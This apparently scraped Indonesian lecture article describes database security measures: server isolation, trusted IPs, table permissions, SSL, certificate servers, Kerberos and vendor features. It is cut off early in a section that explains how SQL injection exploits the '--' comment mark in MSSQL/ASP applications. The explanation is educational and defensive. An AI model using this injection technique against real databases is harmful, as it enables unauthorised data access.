Anda di halaman 1dari 30

DATABASE SECURITY (Keamanan Database)

Oleh : S Heri Pracoyo, SIP, MM

Abstrak

  Dalam menyediakan informasi yang berkenaan dengan  customer/pelanggan, suatu

organisasi/perusahaan perlu memahami berbagai hal yang terkait dengan informasi yang akan

disediakan tersebut. Saat ini telah banyak organisasi/perusahaan mengembangkan aplikasi

untuk keperluan  customer/pelanggan, sehingga  customer/pelanggan dapat dengan mudah

mencari/mengakses informasi dari aplikasi tersebut.  Namun demikian, belakangan ini


permasalahan yang terkait dengan keamanan database tengah mendapat sorotan dan perhatian
utama. Karena permasalahan tersebut berkaitan dengan informasi yang sifatnya rahasia tetapi
bisa diakses oleh pihak yang tidak berwenang. Dimana akhirnya data yang diakses oleh 
pihak yang tidak berwenan tersebut akhirnya disalahgunakan, sehingga merugikan baik
organisasi/perusahaan maupun

customer/pelanggan. Worm Slammer dan kejahatan paling akhir yang mengakses di atas 8

juta nomor kartu kredit. Ataupun berbagai permasalahan yang terkait dengan database

terutama yang berkenaan dengan aplikasi di internet yang menggunakan database untuk

melakukan transaksinya. Kasus yang masih hangat adalah penyusupan hacker yang
mengubah

nama-nama partai pada situs KPU, dan masih banyak permasalahan keamanan yang terkait

dengan database.  Dalam tulisan ini akan diberikan beberapa hal yang terkait dengan security
database dan segala akibat dan keuntungannya. Semoga tulisan ini bisa menjadi masukan
yang

dapat membawa pada manfaat terhadap keamanan database terutama dalam hal

penyediaan informasi yang menggunakan aplikasi melalui internet/intranet. 

Kata kunci : Server, Website, keamanan, Database


 

 2

PENDAHULUAN

Saat ini database telah dipergunakan dengan aplikasi di Internet/Intranet ataupun

aplikasi yang lainnya.  Informasi dari database tersebut sudah sangat dibutuhkan terutama

bagi organisasi/perusahaan yang mempunyai banyak customer/pelanggan, dimana perusahaan

akan berlomba untuk menyediakan informasi tentang segala kegiatan yang berkenaan dengan

organisasi/perusahaan tersebut terhadap customer/pelanggannya.

Belakangan ini, permasalahan keamanan database ataupun keamanan yang tidak

terkait dengan database tengah membanjiri media dan Internet. Pertama dengan Worm

Slammer  dan kejahatan paling akhir yang mengakses di atas 8 juta nomor kartu kredit.

Ataupun berbagai permasalahan yang terkait dengan database terutama yang berkenaan

dengan aplikasi di internet yang menggunakan database untuk melakukan transaksinya.


Kasus

yang masih segar dalam ingatan kita adalah penyusupan hacker yang mengubah nama-nama

partai pada situs KPU, dan masih banyak permasalahan keamanan yang terkait dengan

database.   

 
 

 3

Struktur Keamanan Dasar Database

  Pada dasarnya keamanan database (database security) dapat dibagi sebagai berikut: 

  Keamanan Server (Server Security)

  Koneksi Database (Database Connections)

  Kontrol Akses Tabel (Table Access Control)

  Membatasi Akses Database (Restricting Database Access)

Keamanan Server (Server Security)

Keamanan Server adalah proses membatasi akses nyata terhadap server database dengan

sendirinya, dan dalam pendapat sederhana hal tersebut adalah sudut keamanan yang paling

utama dan harus direncanakan secara hati-hati. Gagasan dasar ini adalah, " Anda tidak bisa

mengakses apa yang anda tidak bisa lihat". 

Sekarang sebagian orang akan mengatakan, " Bagaimana server database anda menyediakan

informasi ke halaman web dinamis?"

―Back End database anda harus tidak pernah ada (tidak berada) pada mesin yang sama
sebagai

web server web anda, tidak hanya untuk keamanan, tetapi untuk performance!" Jika server

database anda sedang menyediakan informasi kepada web server, haruslah server database

dapat dikonfigurasi untuk memungkinkan koneksi hanya dari web server. 

 
 

Trusted IP addresses

 Setiap server, harus dikonfigurasi untuk hanya memungkinkan alamat IP yang

dipercaya (trusted). (Anda jangan membiarkan setiap orang masuk ke rumah anda dan

berbicara dengan anak anda). Dalam hal yang sama anda harus tahu secara pasti siapa yang

harus diperbolehkan untuk ―bicara‖ dengan server database anda. Jika hal tersebut adalah

back end untuk suatu web server, kemudian hanya alamat (address) web server tersebut yang

harus dibiarkan untuk mengakses server database. Jika server database menyediakan

informasi terhadap aplikasi home-based (domestik) yang berjalan pada jaringan internal, 

selanjutnya server tersebut harus menjawab terhadap alamat dari dalam jaringan internal
saja. 

Koneksi Database 

  Saat  ini dengan beberapa aplikasi dinamik memungkinkan untuk mengupdate

database yang tidak diauthentifikasi. Jika user dimungkinkan untuk mengupdate ke database

 melalui web page, pastikan bahwa validasi telah dibuat untuk semua update tersebut dan

pastikan update tersebut terjamin dan aman. Misalnya pastikan bahwa anda membuang setiap

kemungkinan SQL code dari input yang diberikan oleh user. Jika user normal tidak pernah

menginputnya jangan dibiarkan data untuk selamanya disampaikan. 


  Jika anda adalah Administrator yang merasa perlu untuk menggunakan ODBC

connection pastikan bahwa setiap connection tsb menggunakan user unique untuk mengakses

data yang di-share. Jangan menggunakan user account ―sa‖ untuk setiap connection dan
data

source pada server (―sa‖ adalah user account paling tinggi haknya). 

Kontrol Akses Table

  Kontrol akses table adalah salah satu kemungkinan dari bentuk yang paling

dilewatkan dari database security karena kesulitan yang tidak bisa dipisahkan dalam

menerapkannya. Penggunaan kontrol akses table secara tepat akan memerlukan kolaborasi

baik sistem administrator maupun database developer. 

  Dalam akses ini hak (Permissions) apa saja yang harus diberikan ke user atau yang

akan digunakan untuk aplikasi. Permission yang diberikan bisa Read, Write/Insert, Update,

Delete. Atau jika digunakan untuk aplikasi lebih baik berikan permission ke user yang

digunakan untuk aplikasi tersebut hak execute terhadap procedure. Karena dalam hal ini user

tidak akan mengetahui secara detail data/table apa yang digunakan untuk aplikasi tersebut. 

Membatasi Akses Database 

  Keamanan server khusus terutama berkaitan dengan akses jaringan pada sistem

(network access of the system). Secara khusus menargetkan internet yang didasarkan

database, karena hal tersebut yang  sebagian besar menjadi sasaran serangan (―attack‖).

Sebagian besar kejahatan cyber (istilah ―Hackers‖ atau ―Crackers‖)  dapat melakukan
suatu

―port scan‖ sederhana untuk melihat port yang terbuka dimana sistem database yang umum

menggunakan default (standard setting). Istilah default disini karena dapat mengubah port

yang dapat menolak suatu kejahatan (port scan). 


  Pertama-tama mereka akan berusaha untuk menentukan jika suatu mesin berada pada

alamat tertentu. Mereka akan mengerjakannya dengan melakukan ―ping‖ atau ICMP
Packet.

Suatu ―ping‖ adalah teknik untuk mengirimkan suatu paket ICMP (Internet Control
Message

Protocol)  ke suatu  remote host. Jika  remote host  up, dan mendukung ICMP, suatu pesan

kontrol (control message), atau paket, akan dikirim kembali  ke pengirim tersebut. Teknik

tersebut menyediakan suatu mekanisme untuk umpan-balik mengenai permasalahan

komunikasi dalam suatu lingkungan yang berada dalam jaringan.

(http://www.aspnetping.com/faq.aspx).  

Contoh Hasil Pinging ke suatu IP, akan memberikan hasil Paket yang dikirim, paket yang

diterima, paket yang hilang. Waktu yang diperlukan maksimum dan minimum serta rata-

ratanya. 

 Keamanan Database yang terkait dengan web-Enabled Database. 

Karena penggunaan web baik pada Intranet dan Internet umum, keamanan informasi

menjadi hal yang krusial/penting bagi organisasi/perusahaan. Web menyediakan suatu cara

mempublikasi data secara murah, cepat dan sesuai. Saat ini hal tersebut sangat mudah untuk

menyebarkan informasi, hal tersebut penting untuk memastikan bahwa informasi  hanya
dapat

diakses oleh orang yang mempunyai hak untuk menggunakannya. 

Dengan beberapa sistem yang mengimplementasikan pembuatan halaman web

dinamis dari suatu database,  keamanan informasi perusahaan adalah lebih penting.

Sebelumnya, akses database terbatas atau dikhususkan klien software yang memerlukan
untuk

melihat data. Saat ini setiap orang dengan suatu web browser dapat melihat data dalam suatu
database yang tidak dilindungi secara tepat. Tidak pernah sebelumnya keamanan informasi

menjadi banyak titik rawannya (mudah ditembus). Karena industri komputer berpindah dari

era mainfraim ke era client/server ke era Internet, suatu jumlah peningkatan secara mendasar

pada titik penetrasi yang telah terbuka. 

  Karena banyak keamanan internet, spesialis database harus mendasarkan pada

network administrator   mengimplementasikan tindakan pencegahan seperti firewall untuk

melindungi data lokal. Karena sifat akses informasi Intranet/Internet, meskipun demikian,

banyak fungsi keamanan turun ke dalam area abu-abu dari tanggung jawab. Terutama area

dimana keamanan berada dalam domain DBA, orang yang harus membuat pemecahan

informasi. 

  Prosedur keamanan baru dan teknologi dipelopori tiap hari. Untuk keamanan Web,

anda harus mengarahkan tiga area primer:

1.  Server security/Keamanan Server – memastikan keamanan yang terkait dengan data

nyata atau file HTML private yang disimpan di server 

2.  User-authentication security/Keamanan autentikasi user  –  Memastikan keamanan

login yang mencegah akses yang tidak berwenang terhadap informasi. 

3.  Session security/Keamanan Sesi – memastikan bahwa data tidak diintersep (dipotong)

sebagaimana data tersebut menyebar melalui Intranet atau Internet  

C:\>Ping 10.200.200.35

Pinging 10.200.200.35 with 32 bytes of data:

Reply from 10.200.200.35: bytes=32 times<10ms TTL=127

Reply from 10.200.200.35: bytes=32 times<10ms TTL=127

Reply from 10.200.200.35: bytes=32 times<10ms TTL=127


Reply from 10.200.200.35: bytes=32 times<10ms TTL=127

Ping statistics for 10.200.200.35:

  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

  Minimum = 0 ms, Maximum = 10ms, Average = 5 ms

C:\>   6

Anda dapat melihat lapisan-lapisan tersebut sebagai lapisan perlindungan. Untuk setiap

lapisan dari keamanan yang ditambahkan, sistem menjadi lebih terlindungi. Seperti rantai,

seluruh pelindung dapat putus jika terdapat link yang lemah. 

Keamanan Server (Server Security)

Keamanan server mencakup membatasi akses terhadap data yang disimpan pada server.

Meskipun bidang tersebut terutama tanggung jawab dari network administrator, proses

publikasi data ke Web seringkali memerlukan spesialis sistem informasi untuk melakukan

penanganan aktif dalam meng-install dan mengimplementasikan kebijakan keamanan. 

Dua metode utama dimana informasi dari database dipublikasi ke Web adalah menggunakan

halaman Web statis dan pembuatan halaman Web dinamis aktif. Dua metode tersebut

memerlukan hampir sepenuhnya mekanisme keamanan yang berbeda. 

Halaman Web Statis (Static Web Pages )

Halaman web statis merupakan file HTML sederhana yang disimpan di server. Beberapa
spesialis database mempertimbangkan pembuatan halaman statis merupakan metode paling

sederhana dan paling fleksibel dari publikasi data ke Web. Dalam suatu  nutshell, suatu

program klien ditulis pada query data dari suatu database dan menghasilkan halaman HTML

yang menayangkan informasi tersebut. 

Ketika dipublikasi sebagai halaman web statis, file-file web dapat di-upload pada setiap

server, meskipun demikian, untuk pembuatan dinamis, server web biasanya harus

dimodifikasi (atau script-script baru atau software aplikasi di-install). Halaman statis

mempunyai manfaat sekunder dari yang dihasilkan dengan piranti client/server tradisional

seperti Visual Basic atau PowerBuilder. Karena hampir setiap sistem pengembang dapat

menghasilkan file-file test, hanya saja kode-kode HTML yang diperlukan harus ditambahkan

untuk membuatnya halaman-halaman web. Pembuatan halaman tersebut, selanjutnya

menggunakan metode standard dari kontrol akses database seperti keamanan database dan

kontrol login.  

Sekali dibuat, file tersebut harus di-upload ke web server. Perlindungan dokumen-dokumen

yang disimpan di tempat tersebut terjadi dalam cara yang sama dengan setiap dokumen web

lainnya akan dibuat aman. Salah satu cara yang paling mudah untuk melindungi dokumen

HTML yang sensitif adalah dengan membatasi browsing directory. Sebagian besar FTP dan

web server memungkinkan direktori dapat dikonfigurasi sehingga file-file yang disimpan

dalam direktori tersebut dapat dibaca tetapi file-file tersebut tidak terdaftar dalam direktori.

Teknik tersebut mencegah setiap  user  orang yang tidak mengetahui dengan pasti nama file

dari pengaksesannya. Akses dapat diijinkan dengan pendistribusian sederhana nama-nama


file

dengan pasti terhadap orang yang diberi wewenang. 

 
Direktori dapat juga dilindungi dengan menggunakan keamanan sistem operasi yang

tergabung. Beberapa web server memungkinkan pembatasan keamanan untuk dapat

ditempatkan pada folder-folder atau direktori-direktori khusus dengan menggunakan teknik

sistem operasi standar (seperti atribut-atribut file) dan kemudian menggunakan keamanan

tersebut untuk membatasi akses. Implementasi tersebut akan beragam di antara web serter.

Implementasi keamanan tersebut untuk mencapai akses terhadap file-file atau folder-folder

khusus yang turun pada kategori keamanan user-authentication.

   7

Pembuatan Halaman Dinamis (Dynamic Page Generation )

Yang disukai oleh organisasi besar, metode tersebut meningkatkan popularitas sebagai

teknologi untuk membuat halaman web dengan cepat dari suatu query database menjadi lebih

kuat. Suatu halaman web dinamis disimpan pada web server dengan tidak  ada data

sesungguhnya (aktual) tetapi sebagai gantinya suatu  templateuntuk kode HTML dan suatu

query. Ketika klien mengakses halaman tersebut, query dieksekusi (dijalankan), dan halaman

HTML yang berisi data tersebut dihasilkan on the fly. Data yang diperlukan diisikan ke
dalam

alur yang ditentukan dalam file  template  dalam banyak cara yang sama dimana suatu mail

merge    terjadi dalam program pengolah kata. Suatu program dapat menjadi aktif pada web

server untuk menghasilkan halaman web yang diperlukan, atau suatu script CGI dapat secara

dinamis membuatnya. 

Salah satu dari permasalahan keamanan pertama adalah bahwa seorang DBA harus

menghadapi akses  setting up  terhadap database dari web server. Apakah dengan

menggunakan script CGI, middleware yang didasarkan-server, atau suatu piranti query, sever

tersebut dengan sendirinya harus mempunyai akses terhadap database. 

 
Koneksi Database (Database Connections )

Dengan sebagian besar penghubung dinamis ke database, duatu koneksi dengan akses penuh

harus diberikan  pada web server karena berbagai query akan memerlukan akses terhadap

tabel-tabel atau view-view yang berbeda untuk membangun HTML dari query tersebut.

Bahaya tersebut tampak jelas: suatu sumber data tunggal pada server harus diberikan

kemampuan akses yang luas. 

Hal tersebut membuat krusial keamanan server. Misalnya, suatu sumber data ODBC

diberikan  akses administrator penuh dapat secara potensial diakses oleh setiap program

lainnya pada server. Suatu program dapat dibuat untuk memanggil informasi  private  dari

suatu sumber data berkaitan dengan apakah  author  program dimungkinkan mengakses.

Permasalahan keamanan tersebut adalah paling berbahaya pada suatu sistem dimana pemakai

dimungkinkan untuk mengupload script CGI atau program untuk menjalankan pada server

tersebut. Untuk mencegah akses yang tidak berwenan terhadap data anda, buat kepastian

bahwa server yang memiliki penghubung database tersebut secara fisik aman dan tidak

memungkinkan eksekusi program yang tidak dibatasi. 

Pengawasan Akses Tabel (Table Access Control )

Standard pengawasan akses tabel, jika dicirikan dalam sistem autentikasi pemakai, adalah

lebih penting pada aplikasi web daripada sistem client/server tradisional. DBA seringkali

kurang hati-hati dalam membatasi akses terhadap tabel-tabel khusus karena beberapa
pemakai

akan mengetahui bagaimana membuat suatu query SQL biasa untuk memanggil data dari

database. Sebagian besar akses terhadap database pada sistem client/server terjadi melalui

suatu klien yang dibangun secara khusus yang membatasi akses dari tempat tersebut. 

Tidak juga dengan aplikasi berdasarkan web: pengembangan client/server memerlukan

pengalaman mendasar, tetapi meskipun beberapa pemula dapat memprogram atau


memodifikasi kode HTML, dan sebagian besar pemakai aplikasi produktif seperti pengolah

kata atau spreadsheet yang dapat mengakses database juga menyimpan dokumen sebagai

halaman HTML. Selanjutnya, beberapa pemecahan akan dibuat oleh pemakai perantara – dan

juga keamanan yang valid adalah suatu keharusan. Ingat, suatu pengetahuan yang sedikit

dapat menjadi sesuatu yang berbahaya. 

Keamanan Autentikasi-Pemakai (User-Authentication Security )

Keamanan autentikasi (Authentication) mengatur penghalang/dinding yang harus dilewati

sebelum pemakai dapat mengakses informasi khusus. Pemakai harus mempunyai beberapa   8

bentuk identifikasi yang valid sebelum akses diberikan. Login dikerjakan dalam dua cara

standard : menggunakan bentuk HTML dan menggunakan permintaan keamanan HTTP. 

Login HTML adalah hanya suatu halaman HTML yang berisi field-field berbentuk username

dan password . ID dan password sesungguhnya disimpan dalam table pada server. Informasi

tersebut dibawa pada server melalui script CGI atau beberapa potongan middleware database

untuk melakukan  lookup  dalam suatu database identifikasi pemakai. Metode tersebut

mempunyai manfaat yang meletakkan DBA menentukan suatu hak pemakai khusus. Dengan

menggunakan suatu table yang dibuat oleh DBA, beberapa hak keamanan menentukan

terhadap proyek tertentu yang dapat didefinisikan. 

Sekali login telah terjadi, suatu potongan data yang disebut ―cookie‖ dapat ditulis pada
mesin

klien untuk melakukan pencarian user session. Suatu cookie adalah data (mirip dengan suatu

kunci dan nilai dalam file .ini) yang dikirim dari web server dan disimpan oleh browser klien.

Web server selanjutnya dapat mengirimkan suatu pesan kepada browser, dan data

dikembalikan ke server. Karena suatu koneksi HTTP tidak tetap, Use ID dapat ditulis sebagai

suatu cookie sehingga pemakai dapat diidentifikasi selama waktu (berlangsungnya) dari

session tersebut. 
Meskipun demikian keamanan login bentuk HTML,   harus diimplementasikan secara fisik.

Seringkali cara tersebut menemukan kembali perputaran tersebut. Tidak hanya harus suatu

tabel database atau file lainnya dijaga pada jalur pemakai dan password, tetapi kebiasaan

autentikasi harus dilakukan, apakah melalui script CGI atau melalui metode lainnya.

Selanjunya kecuali menggunakan suatu hubungan yang aman, baik  username  maupun

password  disebarkan melintasi jaringan (network),  dimana keduanya dapat dipotong

(intercept). 

Login bentuk HTML sangat baik ketika keamanan data tidak menjadi hal yang penting tetapi

pengawasan akses khusus diperlukan. Login browser paling berguna ketika hal tersebut

digabungkan dengan keamanan database  yang ada melalui beberapa jenis middleware.

Meskipun pemakai diautentikasi secara tepat, keamanan tambahan yang berkaitan


meningkat.  

Keamanan Session (Session Security)

Setelah pemakai memberikan identifikasi yang tepat dan akses diberikan terhadap data,

keamanan session memastikan bahwa data private tidak dipotong (intercept) atau diganggu

selama session tersebut. Protokol dasar dari jaringan tidak men-set up suatu hubungan point-

to-point, seperti suatu yang dikerjakan sistem telepon. Sebagai gantinga, informasi disebar

melintasi jaringan untuk diterima oleh mesin khusus. TCP/IP adalah protokol dasar untuk

transmisi pada internet. Protokol tersebut tidak pernah dirancang untuk keamanan, dan

sebagaiman hal tersebut sangat tidak aman. Karena data dikirim  dari satu mesin ke mesin

lainnya yang benar-benar disebarkan (dipancarkan) melintasi seluruh jaringan, suatu program

yang disebut ―packet sniffer‖ dapat dipergunakan untuk memotong paket informasi yang

dibatasi untuk suatu pemakai khusus. Selanjutnya, meskipun pemakai telah masuk (logged)
secara tepat ke dalam sistem, setiap informasi yang diakses dapat dipotong dan ditangkap
oleh

pemakai lainnya pada jaringan tersebut. Tidak ada cara yang mudah untuk mencegah

intersepsi (pemotongan) tersebut kecuali dengan melakukan enkripsi semua informasi yang

mengalir melalui kedua cara tersebut. 

Secure Sockets Layer (SSL) dan S-HTTP 

Sistem kunci-rahasia/publik telah diimplementasikan secara luas pada internet. Sebagian

besar pengembang produk internet (seperti Netscape, Microsoft Corp., dan IBM Corp.) setuju

untuk menggunakan protokol enrkipsi yang dikenal sebagai  Secure Sockets Layer    (SSL).  
9

SSL mengenkripsi semua data yang dikirimkan di antara klien dan server selama suatu

session. 

SSL menggunakan Secure HTTP (S-HTTP) sebagai protokol transamisi dasarnya.

Protokol tersebut merupakan suatu variasi HTTP yang menyediakan dasar keamanan

untuk tranmisi SSL. S-HTTP melakukan apa yang dikenal sebagai suatu  handshake

ketika melakukan suatu koneksi untuk menukar  key  dan membuat suatu hubungan

yang dienkripsi. Mengalamatkan pada suatu halaman aman SSL menggunakan kata

depan (prefiks) ―https‖ sebagai pengganti yang biasa ―http‖. Selanjutnya, suatu alamat

halaman yang aman akan dimulai dengan   https://…..

Sistem key-publik  memerlukan bahwa setiap bagian mempunyai suatu key publik

atau private. Key tersebut harus dihasilkan oleh sumber yang terpercaya. Untuk

penyebaran internet, beberapa perusahaan menawarkan layanan tersebut, yang

terbesar darinya adalah Verisign Inc. (Mountain View, California,

www.verisign.com). Menghasilkan suatu biaya key sebesar $300 per server untuk
tahun pertama dan sekitar $100 untuk setiap tahun setelahnya. Anda harus menunggu

di antara dua dan tiga minggu untuk menerima suatu key. 

Meskipun demikian, intranet, juga mempunyai banyak alasan untuk melindungi

datanya. Kenyataannya, National Computer Security Associaton (NSCA) menghitung

bahwa kemungkinkan sebanyak 80 persen dari pelanggaran keamanan organisasi

terjadi dalam organisasi tersebut. Untuk informasi database  private, semua

authentikasi di dunia tidak akan mencegah packet sniffer dari pemotongan (intercept)

data yang dikirim melintasi jaringan. Untuk alasan ini, organisasi telah memulai untuk

melakukan set up server-server key-publik (public-key servers) miliknya. 

Certificate Servers 

Banyak organisasi menginginkan suatu cara membuat dan mencari key pada suatu sistem
key-

publik. Banyak dari tekanan saat ini telah difokuskan pada  digital signature, digital

certificate,  atau  digital ID. Suatu  digital signature  adalah hanya kunci publik dari sistem

kunci-publik. Hal tersebut adalah suatu standard yang disebut dengan X 509 untuk format

sertifikat digital. Misalnya, seorang user dapat menggunakan kunci  private-nya untuk

mengenkripsi text dari buku. Pemakai tersebut selanjutnya dapat mengirimkan buku yang

dienkripsi begitu juga kunci publiknya ke user yang lainnya. Kunci publik atau  digital

signature berisi ID dari pesertya yang dipercaya yang menghasilkan kunci (seperti Verisign

dan AT&T). Penerima dokumen memverifikasi bahwa kunci tersebut dipergunakan untuk

menghasilkannya yang dibuat oleh peserta yang dipercaya dan kemudian melakukan decode

(menterjemahkan) informasi tersebut. Hanya kunci  private  user yang  dapat mempunyai

dokumen yang telah diterjemahkan. 

Suatu  Certificate Server  memungkinkan suatu perusahaan menjadikannya pembuat kunci


yang dipercaya. Sedikit dari yang dipunyai Verisign yang menghasilkan pasangan kunci

publik/private, suatu Certifitace Server dalam perusahaan membuat kunci dan membuat ciri-

ciri nama pembuatanya pada setiap kunci. 

Kunci publik dengan sendirinya juga dijaga dalam file pada server. Seorang user dapat

meminta kunci publik John Smith (misalnya) untuk mengkodekan suatu dokumen yang
secara

jelas dirikim oleh John Smith. Jika dokumen tersebut tidak dienkripsi dengan kunci private

Smith, kunci publik pada Certificate Server tidak akan mengkodekan hal tersebut secara
tepat.

Digital Signatures sebagai Password    10

Perencanaan naya untuk sistem kunci publik adalah untuk menggunakan hal tersebut dalam

hubungannya dengan sistem kunci-rahasia. Sedikit daripada yang mempunyai kunci private

besar yang harus dipindahkan dari komputer ke keomputer, kunci private akan diganti

dienkripsi menggunakan sistem kunci-rahasia. User kemudian hanya mengingat suatu

password sederhana (seperti PIN untuk kartu ATM-nya) yang dipergunakan untuk melakukan

dekrip kunci private.

Kunci private yang dienkripsi kemudian disimpan pada server, dalam kartu pintar (smart

card), atau pada kartu kredit anda. Akses ke database, misalnya, hanya akan dimungkinkan

dengan mengirimkan kode khusus yang dienkripsi dengan kunci private anda. Dokumen yang

dikodekan diterima oleh program autentikasi user, hal tersebut dikodekan dengan kunci

publik anda, dan akses diberikan. 

 
Kerberos 

Kerberos adalah suatu server dari user name dan password yang aman. Kekuatan Kerberos

adalah bahwa hal tersebut menyediakan salah satu server keamanan terpusat untuk semua

danta dan sumber pada jaringan, yaitu dengan menyediakan autentikasi kuat untuk aplikasi

clinet/server dengan menggunakan kriptografi kunci-rahasia.. Akses database, login, kontrol

sumber, dan sifat keamanan lainnya dipusatkan pada Server Kerberos yang dipercaya.

Perusahaan keamanan saat ini mencari untuk menggabungkan Kerberos dan Certificate
Server

untuk menyediakan sistem keamanan jaringan lebar. Yang ditemukan di MIT

(Massachusetts Institute of Technology).

Kerberos mempunyai fungsi mirip dengan fungsi pada Certificate Server: Kerberos bekerja

sebagai pelindung, yang memastikan bahwa pemakai diidentifikasi dan divalidasi.

Menggunakan  tokens dan berbagai teknologi lainnya, suatu sistem Kerberos membuat suatu

jaringan terdistribusi aman. Dikombinasikan dengan perpindahan kunci-publik, Kerberos

dapat menyediakan  dimana saja dalam pengembangan keamanan Web selama beberapa

tahun ke depan.

Kerberos dibuat oleh MIT sebagai suatu solusi terhadap permasalahan keamanan jaringan.

Protokol Kerberos menggunakan kriptografi kuat sehingga client dapat menyediakan

identitasnya ke server (dan sebaliknya) melintasi suatu hubungan jaringan/network yang tidak

aman. Setelah client dan server telah menggunakan Kerberos untuk menyediakan

identitasnya, Client dan Server tersebut juga dapat meng-enkrip semua komunikasinya untuk

memastikan integritas data dan privacy sebagaimana melakukan bisnisnya.  

Kerberos tersedia secara bebas dari MIT, di bawah ijin hak cipta yang sangat mirip dengan

yang dipergunakan untuk sistem  operasi BSD dan Sistem Window X. MIT menyediakan

Kerberos dalam bentuk source sehingga setiap orang yang berminat menggunakannya dapat
melihat kode tersebut untuk dirinya sendiri dan memastikan bahwa kode tersebut tetap

(konstan). 

Kesimpulannya, Kerberos merupakan suatu solusi terhadap permasalahan keamanan

jaringan anda. Kerberos menyediakan piranti autentikasi dan kriptografi yang kuat di

atas  network    untuk membantu anda mengamankan sistem informasi anda melintasi

seluruh enterprise anda. 

Keamanan Vendor-khusus 

Vendor-vendor individual menentukan secara besar skema keamanan yang akan

diimplementasikan untuk menyediakan link di antara database dan halaman HTML yang

dipublish. Berikut ini beberapa komponen keamanan yang disediakan oleh vendor-vendor

utama. Seperti sistem client/server, pemecahan harus dipotong bersama-sama menggunakan

banyak produk-produk vendor.    11

Oracle 

Oracle Corp. (Redwood Shores, Calif.), sambil menyediakan keamanan SSL dan S-HTTP ,

merencanakan menggunakan Java sebagai komponen  dasar dari model keamanannya.

Perusahaan tersebut membuat Oracle Web Server untuk bekerja secara paling efektif dengan

Oracle client seperti Oracle Power Browser dan pemecahan dibuat dengan Developer/2000

development tool.

Oracle juga memodifikasi protokol HTTP untuk memungkinkan hubungan tetap yang dapat

dikerjakan di antara client dan server. Hubungan tersebut benar-benar menentukan suatu sesi

dimana pemakai diidentifikasi dengan membuat ID untuk mengidentifikasi pemakai. 

Peningkatan tersebut ada dalam Secure Network Server (SNS) yang tercakup dalam  Oracle
Universal Database. SNS menggabungkan dukungan untuk standard keamanan Kerberos.

Melalui sistem Kerberos, suatu login tunggal memungkinkan akses pada setiap Oracle

database dalam suatu sistem enterprise. Java security classes dipergunakan oleh Oracle

development tool untuk menyediakan integrasi keamanan yang lengkap dengan client. 

Sybase 

Sybase Inc. (Emeryville, Calif.) menyediakan suatu cara yang sedikit elegan untuk

melindungi akses data melalui  Web. Sedikit daripada konsep custom Web framwork

miliknya, keamanan logon yang ada dalam web server hanya melewatkan melalui server

database untuk autentikasi, mengambil manfaat dari keamanan native yang ada dalam

database. 

Sybase menyediakan suatu potongan middleware yang disebut Web.sql yang dipergunakan

pada interface dengan Netscape Web Server. Komunikasi diantara server Netscape Suitespot

dan database lewat melalui API untuk Web.sql.

Informix 

Informix Corp. (Menlo Park, Calif.), seperti sybase, terletak pada keamanan login yang ada

pada Web server. Selanjutnya, setiap akses ditentukan melalui saluran login jenis ODBC

tradisional, yang melewatkan informasi user dan password melalui konektivitas middleware.

Driver-driver khusus yang disebut dengan Universal Web Connect tersedia untuk

menggabungkan keamanan database Informix dengan Netscape maupun Microsoft Web

Server. 

 
 

Microsoft 

Microsoft Corp. (Redmond, Wash.) adalah salah satu dari pemain yang paling aktif dalam

bidang keamanan Internet karena  pencariannya pada pasar kembar  Internet deployment dan

Internet Commerce, keduanya memerlukan keamanan yang ekstensif. Dengan mengambil

peran aktif dalam diskuisi standard keamanan, Microsoft berharap dapat membentuk

kebijakan pada manfaatnya. 

Dengan Internet Information Server (IIS), Microsoft telah mencakupkan sebagian besar

teknologi keamanan kunci. Login tradisional pada Web mencirikan keamanan yang sama

yang ada pada dasar Windows NT Login. Sayangnya, hanya Browser Microsoft Internet

Explorer yang mendukung pendekatan login tersebut, dan Netscape tidak membuat

pengumuman untuk menggabungkannya ke dalam Navigator.    12

Untuk akses database, Microsofot telah mengabungkan keamanan IIS dengan Microsoft SQL

Server melalui penghubung Database Intenet. User login  harus terjadi melalui bentuk login

HTML, tetapi informasi dapat diverifikasi menggunakan suatu store prosedur SQL Server. 

Microsoft juga menggabungkan arsitektur keamanan Kerberos pada Windows NT Server 5.0.

Dengan melakukan release server tersbeut, Microsoft berharap menggabungkan native

Kerberos pada NT server dengan keamanan kunci publik. Microsoft telah me-release

Certificate Server API dalam usaha membuat suatu standard  Certificate Server. 

Pertimbangkan semua Sudut 

Membuat aman data anda untuk  disebarkan melalui Internet dan Intranet bukan tugas yang

mudah. Cara terbaik untuk mengevaluasi keperluan keamanan anda adalah


mempertimbangkan kelemahan dari keamanan yang tidak diberi wewenang untuk melihat

data anda. Keamanan seringkali jaur lebih mudah untuk mengimplementasikan daripada

menjaga. Membuat pasti bahwa keperluan proses dalam organisasi anda menjaga sistem anda

saat ini. Keamanan seringkali disalahgunakan atau di-bypass oleh pemakai dari hari-ke-hari

untuk kemudahan. Dengan kehilangan waktu data atau memutus keamanan yang telah

ditemukan, banyak kerusakan  telah dilakukan. 

Vendor-vendor Database dan Web server secara tetap meng-upgrade sistemnya.

Untuk Informasi keamanan umum tersedia pada web, tempat terbaik untuk memulai

pencarian anda adalah dengan  National Computer Security Association (NCSA) at

www.ncsa.com . 

SQL Injection

SQL Injection merupakan cara lain untuk menembus/mengakses data dengan menggunakan

teknik query sesuai dengan database yang digunakan. Namun demikian dari beberapa format

database yang paling banyak ditembus dengan menggunakan SQL Injection adalah MSSQL.

Pada dasarnya MSSQL juga tidak bisa di-inject begitu saja, hal tersebut bergantung ke pada

beberapa hal yang terkait lainnya. 

MSSQL dapat di-inject  sebagian besar karena  Scripting bahasa pemrogramannya. Biasanya

dengan ASP (Active Server Page) yang dikombinasikan dengan MSSQL. Jika

programmernya kurang teliti dalam membuat suatu aplikasi maka Scripting language (Bahasa

pemrograman) tersebut akan memberikan suatu message yang mudah ditebak oleh orang
yang

melakukan  injection. Kelemahan tersebut biasanya karena ada  mark  (di MSSQL biasanya

dengan tanda ‗—‘ / tanda minus dua kali, dimana setelah tanta ‗—‗ maka statemen SQL
tidak

akan di-execute) yang ada di dalam sintaks query database yang bersangkutan. Sehingga
mark
tersebut menjadi suatu cara untuk bisa menembus suatu database untuk mengambil informasi

atau menggunakannya untuk keperluan lain, yaitu dengan cara menyisipkan (insert) beberapa

statemen SQL ke ‗Query‘ dengan memanipulasi data input ke aplikasi tersebut. 

Berikut ini diberikan contoh untuk SQL Statemen yang akan dilakukan  injection: Diberikan

SQL Statemen seperti berikut: 

select id, name, no_telp, short_time_price, long_time_price from bispak

Dari Statemen SQL diatas akan menghasilkan menghasilkan  'id', 'name', 'no_telp',

